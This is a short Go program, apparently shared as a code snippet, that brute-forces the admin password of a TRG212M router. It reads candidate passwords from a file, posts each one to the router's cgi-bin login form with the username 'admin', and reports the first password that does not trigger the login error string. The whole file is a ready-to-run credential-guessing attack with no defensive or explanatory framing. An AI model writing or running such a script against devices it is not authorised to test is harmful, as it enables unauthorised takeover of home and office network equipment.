TRG212M router password try

TRG212M-try-password.go

package main

import (
	"net/http"
	"net/url"
	"io/ioutil"
	"strings"
	"fmt"
	"bufio"
	"os"
)

func main(){
	passwdFile, err := os.OpenFile("password.txt", os.O_RDONLY, os.ModePerm)
	if err != nil {
		panic(err)
	}

	scan := bufio.NewScanner(passwdFile)

	scan.Split(bufio.ScanLines)

	for scan.Scan(){
		pass := scan.Text()
		fmt.Println(pass)
		if login("admin",pass){
			fmt.Printf("success!, password is [%s]", pass)
			return
		}
		fmt.Println("over")
	}

}

func login(user, passwd string)bool{
	uri := "http://192.168.0.1/cgi-bin/webproc"
	data := url.Values{

	}
	data.Add("getpage","html/index.html")
	data.Add("errorpage","html/main.html")
	data.Add("var:menu","status")
	data.Add("var:page","system_msg")
	data.Add("var:login","true")
	data.Add("obj-action","auth")
	data.Add(":username",user)
	data.Add(":password",passwd)
	data.Add(":action","login")
	data.Add(":sessionid","2c8f971f")
	resp,err := http.PostForm(uri, data)
	if err != nil {
		panic(err)
	}
	buf, err := ioutil.ReadAll(resp.Body)
	if err != nil {
		panic(err)
	}
	return strings.Index(string(buf), `G_Error_Msg	= "result=12119007"`) == -1
}